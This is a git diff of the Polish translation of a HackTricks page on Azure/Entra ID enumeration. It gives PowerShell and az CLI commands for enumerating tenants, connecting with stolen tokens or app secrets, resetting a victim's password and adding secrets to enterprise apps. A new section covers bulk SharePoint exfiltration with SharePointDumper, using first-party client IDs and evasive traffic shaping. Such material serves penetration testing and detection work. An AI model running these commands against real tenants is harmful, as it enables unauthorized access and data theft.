mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Active Directory (Azure AD) jest usługą opartą na chmurze firmy Microsoft do zarządzania tożsamością i dostępem. Jest kluczowa w umożliwieniu pracownikom logowania się i uzyskiwania dostępu do zasobów, zarówno w obrębie organizacji, jak i poza nią, obejmując Microsoft 365, portal Azure oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
|
||||
Azure Active Directory (Azure AD) to usługa Microsoftu oparta na chmurze służąca do zarządzania tożsamością i dostępem. Umożliwia pracownikom logowanie się i uzyskiwanie dostępu do zasobów zarówno wewnątrz, jak i poza organizacją, obejmując Microsoft 365, the Azure portal i wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w szczególności **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
|
||||
|
||||
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoft. Te funkcje znacznie podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie i egzekwowanie polityk dostępu. Jako fundamentalny element ekosystemu usług chmurowych Microsoft, Azure AD jest kluczowy dla zarządzania tożsamościami użytkowników w chmurze.
|
||||
Główne funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także płynną integrację z innymi usługami zabezpieczeń Microsoft. Funkcje te znacząco podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom efektywne wdrażanie i egzekwowanie polityk dostępu. Jako podstawowy element ekosystemu usług chmurowych Microsoft, Azure AD ma kluczowe znaczenie dla zarządzania tożsamościami w chmurze.
|
||||
|
||||
## Enumeracja
|
||||
|
||||
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
|
||||
|
||||
# Connect with access token
|
||||
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
|
||||
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
|
||||
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Kiedy **logujesz się** przez **CLI** do Azure za pomocą dowolnego programu, używasz **Aplikacji Azure** z **dzierżawy**, która należy do **Microsoft**. Te Aplikacje, podobnie jak te, które możesz stworzyć w swoim koncie, **mają identyfikator klienta**. **Nie będziesz w stanie zobaczyć ich wszystkich** na **listach dozwolonych aplikacji**, które możesz zobaczyć w konsoli, **ale są one dozwolone domyślnie**.
|
||||
Kiedy przez **login** via **CLI** do **Azure** za pomocą dowolnego programu, używasz **Azure Application** z **tenant**, który należy do **Microsoft**. Te Applications, podobnie jak te, które możesz utworzyć w swoim koncie, **have a client id**. Nie **będziesz w stanie zobaczyć wszystkich z nich** na listach **allowed applications**, które widzisz w konsoli, **ale są domyślnie dozwolone**.
|
||||
|
||||
Na przykład **skrypt powershell**, który **uwierzytelnia**, używa aplikacji z identyfikatorem klienta **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, administrator systemu może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę aplikację.
|
||||
Na przykład **powershell script**, który **authenticates**, używa aplikacji z client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, sysadmin może **block that application**, aby użytkownicy nie mogli uzyskać dostępu przy użyciu narzędzi łączących się przez tę App.
|
||||
|
||||
Jednak istnieją **inne identyfikatory klientów** aplikacji, które **pozwolą ci połączyć się z Azure**:
|
||||
Jednak istnieją **other client-ids** aplikacji, które **will allow you to connect to Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
### Najemcy
|
||||
### Dzierżawy
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -226,7 +227,7 @@ az account tenant list
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
Aby uzyskać więcej informacji o użytkownikach Entra ID, sprawdź:
|
||||
Więcej informacji o użytkownikach Entra ID znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -357,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Zmień hasło użytkownika
|
||||
#### Zmiana hasła użytkownika
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Polityki dostępu warunkowego
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
Zaleca się dodanie MFA do każdego użytkownika, jednak niektóre firmy mogą tego nie ustawić lub mogą ustawić to z dostępem warunkowym: Użytkownik będzie **wymagał MFA, jeśli** zaloguje się z określonej lokalizacji, przeglądarki lub **jakiegoś warunku**. Te polityki, jeśli nie są skonfigurowane poprawnie, mogą być podatne na **obejścia**. Sprawdź:
|
||||
Zdecydowanie zaleca się włączenie MFA dla każdego użytkownika. Jednak niektóre firmy tego nie robią albo konfigurują go z Conditional Access: **MFA będzie wymagane, jeśli** użytkownik loguje się z określonej lokalizacji, przeglądarki lub ze względu na **inny warunek**. Te polityki, jeśli nie są poprawnie skonfigurowane, mogą być podatne na **bypasses**. Sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -373,7 +374,7 @@ Zaleca się dodanie MFA do każdego użytkownika, jednak niektóre firmy mogą t
|
||||
|
||||
### Grupy
|
||||
|
||||
Aby uzyskać więcej informacji na temat grup Entra ID, sprawdź:
|
||||
Aby uzyskać więcej informacji o grupach Entra ID sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -482,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### Dodaj użytkownika do grupy
|
||||
|
||||
Właściciele grupy mogą dodawać nowych użytkowników do grupy
|
||||
Właściciele grupy mogą dodać nowych użytkowników do grupy
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełnia określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może nadużyć tej funkcji, aby **dostać się do innych grup**.\
|
||||
> Sprawdź, jak nadużyć dynamicznych grup na następującej stronie:
|
||||
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełni określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może on wykorzystać tę funkcję, aby **dostać się do innych grup**.\
|
||||
> Sprawdź, jak wykorzystać dynamiczne grupy na następującej stronie:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -496,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Aby uzyskać więcej informacji na temat głównych zasad Entra ID, sprawdź:
|
||||
Więcej informacji o Entra ID service principals znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -601,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lista i próba dodania tajnego klucza do każdej aplikacji korporacyjnej</summary>
|
||||
<summary>Wypisz i spróbuj dodać client secret do każdej Enterprise App</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Aplikacje
|
||||
|
||||
Aby uzyskać więcej informacji na temat Aplikacji, sprawdź:
|
||||
Aby uzyskać więcej informacji o Aplikacjach sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Gdy aplikacja jest generowana, przyznawane są 2 typy uprawnień:
|
||||
Gdy App jest utworzony, przyznawane są 2 typy uprawnień:
|
||||
|
||||
- **Uprawnienia** przyznane **Service Principal**
|
||||
- **Uprawnienia**, które **aplikacja** może mieć i używać w **imieniu użytkownika**.
|
||||
- **Uprawnienia** przyznawane **Service Principal**
|
||||
- **Uprawnienia**, które **app** może mieć i używać w **imieniu użytkownika**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators (full access over apps)
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **eskalować do Global Admin** poprzez nadanie sobie roli.\
|
||||
> Aby uzyskać więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **escalate to Global Admin** przyznając sobie tę rolę.\
|
||||
> Aby uzyskać więcej informacji [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Tajny ciąg, który aplikacja używa do potwierdzenia swojej tożsamości podczas żądania tokena, to hasło aplikacji.\
|
||||
> Więc, jeśli znajdziesz to **hasło**, możesz uzyskać dostęp jako **service principal** **wewnątrz** **tenant**.\
|
||||
> Zauważ, że to hasło jest widoczne tylko w momencie generowania (możesz je zmienić, ale nie możesz go ponownie uzyskać).\
|
||||
> **Właściciel** **aplikacji** może **dodać hasło** do niej (aby mógł ją udawać).\
|
||||
> Logowania jako te service principals **nie są oznaczane jako ryzykowne** i **nie będą miały MFA.**
|
||||
> Ciąg tajny, którego aplikacja używa do udowodnienia swojej tożsamości przy żądaniu tokena, to application password.\
|
||||
> Zatem, jeśli znajdziesz to **password** możesz uzyskać dostęp jako **service principal** **inside** **tenant**.\
|
||||
> Zauważ, że to hasło jest widoczne tylko podczas generowania (możesz je zmienić, ale nie możesz uzyskać go ponownie).\
|
||||
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
|
||||
> Logins as these **service principals** are **not marked as risky** and they **won't have MFA.**
|
||||
|
||||
Możliwe jest znalezienie listy powszechnie używanych identyfikatorów aplikacji, które należą do Microsoft w [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Można znaleźć listę powszechnie używanych App IDs należących do Microsoft pod adresem [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Aby uzyskać więcej informacji na temat Managed Identities, sprawdź:
|
||||
Aby uzyskać więcej informacji o Managed Identities sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -822,9 +850,9 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Role Azure
|
||||
### Role w Azure
|
||||
|
||||
Aby uzyskać więcej informacji na temat ról Azure, sprawdź:
|
||||
Więcej informacji o rolach Azure znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -911,7 +939,7 @@ Headers = @{
|
||||
|
||||
### Role Entra ID
|
||||
|
||||
Aby uzyskać więcej informacji na temat ról Azure, sprawdź:
|
||||
Więcej informacji o rolach Azure znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Jeśli urządzenie (VM) jest **dołączone do AzureAD**, użytkownicy z AzureAD będą **mogli się zalogować**.\
|
||||
> Co więcej, jeśli zalogowany użytkownik jest **Właścicielem** urządzenia, będzie **lokalnym administratorem**.
|
||||
> Jeśli urządzenie (VM) jest **AzureAD joined**, użytkownicy z AzureAD będą mogli się **zalogować**.\
|
||||
> Ponadto, jeśli zalogowany użytkownik jest **Owner** urządzenia, będzie on **local admin**.
|
||||
|
||||
### Jednostki administracyjne
|
||||
|
||||
Aby uzyskać więcej informacji na temat jednostek administracyjnych, sprawdź:
|
||||
Więcej informacji o jednostkach administracyjnych znajdziesz tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1072,43 +1100,90 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Eskalacja Uprawnień Entra ID
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Atakujący z **delegowanym tokenem Microsoft Graph**, który zawiera **`Sites.Read.All`** lub **`Sites.ReadWrite.All`**, mogą enumerate **sites/drives/items** over Graph, a następnie pull file contents za pomocą **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Skrypt [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatyzuje cały flow (enumeration → pre-auth downloads) i emituje per-request telemetry do testów wykrywania.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper itself **does not authenticate**; podaj access token (opcjonalnie refresh token).
|
||||
- Pre-consented **first-party clients** mogą być nadużyte do mint a Graph token bez rejestrowania aplikacji. Przykładowe wywołania `Invoke-Auth` (z [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
|
||||
|
||||
# Other pre-consented clients
|
||||
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
|
||||
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
|
||||
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> Klienci FOCI TRUE obsługują refresh na różnych urządzeniach; klienci FOCI FALSE często wymagają `-Origin`, aby spełnić weryfikację pochodzenia reply URL.
|
||||
|
||||
### Uruchamianie SharePointDumper for enumeration + exfiltration
|
||||
|
||||
- Podstawowy dump z custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Kontrola zakresu: uwzględnij/wyklucz strony lub rozszerzenia oraz globalne limity:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Wznów** przerwane uruchomienia (ponownie enumeruje, ale pomija pobrane elementy):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Automatyczne odświeżanie tokenu przy HTTP 401** (wymaga załadowanego EntraTokenAid):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Notatki operacyjne:
|
||||
|
||||
- Preferuje **CAE-enabled** tokens, aby uniknąć wygaśnięcia w trakcie działania; próby odświeżenia **nie** są logowane w API narzędzia.
|
||||
- Generuje **CSV/JSON request logs** dla **Graph + SharePoint** i domyślnie zaciera osadzone SharePoint download tokens (można przełączyć).
|
||||
- Obsługuje **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, oraz **Ctrl+C-safe shutdown** do kształtowania ruchu podczas testów wykrywania/IR.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Eskalacja Uprawnień Azure
|
||||
## Azure Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Mechanizmy Obronny
|
||||
## Mechanizmy obronne
|
||||
|
||||
### Zarządzanie Tożsamościami Uprzywilejowanymi (PIM)
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Zarządzanie Tożsamościami Uprzywilejowanymi (PIM) w Azure pomaga w **zapobieganiu nadmiernym uprawnieniom** przydzielanym użytkownikom bez potrzeby.
|
||||
Privileged Identity Management (PIM) w Azure pomaga **zapobiegać nadmiernemu przydzielaniu uprawnień** użytkownikom bez potrzeby.
|
||||
|
||||
Jedną z głównych funkcji oferowanych przez PIM jest to, że pozwala na nieprzydzielanie ról do podmiotów, które są stale aktywne, ale czyni je **kwalifikowanymi na określony czas (np. 6 miesięcy)**. Następnie, gdy użytkownik chce aktywować tę rolę, musi o nią poprosić, wskazując czas, na jaki potrzebuje uprawnienia (np. 3 godziny). Następnie **administrator musi zatwierdzić** prośbę.\
|
||||
Należy zauważyć, że użytkownik będzie również mógł poprosić o **przedłużenie** czasu.
|
||||
Jedną z głównych funkcji PIM jest możliwość, by nie przypisywać ról podmiotom, które są stale aktywne, lecz uczynić je **dostępnymi na określony czas (np. 6 months)**. Gdy użytkownik chce aktywować daną rolę, musi o to poprosić, wskazując czas, na jaki potrzebuje uprawnień (np. 3 godziny). Następnie **administrator musi zatwierdzić** żądanie.\
|
||||
Uwaga: użytkownik będzie też mógł poprosić o **przedłużenie** czasu.
|
||||
|
||||
Ponadto, **PIM wysyła e-maile** za każdym razem, gdy uprzywilejowana rola jest przydzielana komuś.
|
||||
Co więcej, **PIM wysyła e-maile** za każdym razem, gdy uprzywilejowana rola jest komuś przypisywana.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gdy PIM jest włączone, możliwe jest skonfigurowanie każdej roli z określonymi wymaganiami, takimi jak:
|
||||
Gdy PIM jest włączony, można skonfigurować dla każdej roli określone wymagania, takie jak:
|
||||
|
||||
- Maksymalny czas trwania (godziny) aktywacji
|
||||
- Wymaganie MFA przy aktywacji
|
||||
- Wymaganie kontekstu uwierzytelniania dostępu warunkowego
|
||||
- Wymaganie uzasadnienia przy aktywacji
|
||||
- Wymaganie informacji o bilecie przy aktywacji
|
||||
- Wymaganie zatwierdzenia do aktywacji
|
||||
- Maksymalny czas na wygaśnięcie kwalifikowanych przypisań
|
||||
- Wiele innych konfiguracji dotyczących tego, kiedy i komu wysyłać powiadomienia, gdy pewne działania mają miejsce z tą rolą
|
||||
- Wymagaj MFA przy aktywacji
|
||||
- Wymagaj Conditional Access authentication context
|
||||
- Wymagaj uzasadnienia przy aktywacji
|
||||
- Wymagaj informacji o tickecie przy aktywacji
|
||||
- Wymagaj zatwierdzenia aktywacji
|
||||
- Maksymalny czas do wygaśnięcia przypisań w statusie eligible
|
||||
- Wiele dodatkowych opcji konfiguracji dotyczących kiedy i komu wysyłać powiadomienia przy określonych działaniach związanych z tą rolą
|
||||
|
||||
### Polityki Dostępu Warunkowego
|
||||
### Conditional Access Policies
|
||||
|
||||
Sprawdź:
|
||||
|
||||
@@ -1116,30 +1191,32 @@ Sprawdź:
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Ochrona Tożsamości Entra
|
||||
### Entra Identity Protection
|
||||
|
||||
Ochrona Tożsamości Entra to usługa zabezpieczeń, która pozwala na **wykrywanie, gdy użytkownik lub logowanie jest zbyt ryzykowne** do zaakceptowania, co pozwala na **zablokowanie** użytkownika lub próby logowania.
|
||||
Entra Identity Protection to usługa bezpieczeństwa, która pozwala **wykryć, kiedy użytkownik lub logowanie jest zbyt ryzykowne**, by je zaakceptować, umożliwiając **zablokowanie** użytkownika lub próby logowania.
|
||||
|
||||
Pozwala administratorowi skonfigurować ją tak, aby **blokowała** próby, gdy ryzyko jest "Niskie i wyższe", "Średnie i wyższe" lub "Wysokie". Chociaż domyślnie jest całkowicie **wyłączona**:
|
||||
Pozwala administratorowi skonfigurować blokowanie prób, gdy ryzyko jest "Low and above", "Medium and above" lub "High". Jednak domyślnie jest całkowicie **wyłączone**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Obecnie zaleca się dodawanie tych ograniczeń za pomocą polityk dostępu warunkowego, gdzie można skonfigurować te same opcje.
|
||||
> Obecnie zaleca się dodawanie tych ograniczeń za pomocą Conditional Access policies, gdzie można skonfigurować te same opcje.
|
||||
|
||||
### Ochrona Hasła Entra
|
||||
### Entra Password Protection
|
||||
|
||||
Ochrona Hasła Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja zabezpieczeń, która **pomaga zapobiegać nadużywaniu słabych haseł poprzez blokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
|
||||
Pozwala również na **zabronienie niestandardowej listy haseł**, którą należy dostarczyć.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja bezpieczeństwa, która **pomaga zapobiegać nadużyciom słabych haseł przez zablokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
|
||||
Pozwala też **zablokować niestandardową listę haseł**, którą trzeba dostarczyć.
|
||||
|
||||
Może być **stosowana zarówno** na poziomie chmury, jak i w lokalnym Active Directory.
|
||||
Może być **stosowane zarówno** na poziomie chmury, jak i w lokalnym Active Directory.
|
||||
|
||||
Domyślny tryb to **Audyt**:
|
||||
Domyślny tryb to **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user